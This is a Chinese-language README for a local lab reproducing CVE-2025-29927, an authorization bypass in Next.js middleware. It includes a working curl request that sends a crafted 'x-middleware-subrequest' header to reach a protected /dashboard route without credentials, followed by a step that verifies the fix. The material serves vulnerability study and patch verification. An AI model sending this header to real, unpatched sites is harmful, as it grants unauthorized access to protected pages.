用于 CVE-2025-29927 的最小复现实验室 — Next.js 中间件授权绕过 (CVSS 9.1)。
配套文章:关于 Medium 的 N-Day 分析
一个使用 Next.js 15.2.2(存在漏洞)的应用,具有基于 cookie 保护的 /dashboard 路由。中间件身份验证检查可以通过发送单个 HTTP 头来绕过——无需凭证。
git clone https://github.com/SwapnilDeshpande/cve-2025-29927-lab
cd cve-2025-29927-lab
npm install # pins to Next.js 15.2.2 (vulnerable)
npm run dev -- --port 3001
第 1 步 — 确认中间件阻止未认证请求:
curl -s -o /dev/null -w "%{http_code}" http://localhost:3001/dashboard
# → 307
第 2 步 — 使用子请求标头绕过中间件:
curl -s -o /dev/null -w "%{http_code}" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
http://localhost:3001/dashboard
# → 200
第 3 步 — 升级到已修复版本并确认绕过已被阻止:
npm install [email protected]
# Restart the dev server, then repeat Step 2
# → 307
| 路由 | 访问权限 |
|---|---|
/ | 公开 |
/login | 公开 |
/dashboard | 受中间件保护(需要 session cookie) |
Next.js < 15.2.3, < 14.2.25, < 13.5.9, < 12.3.5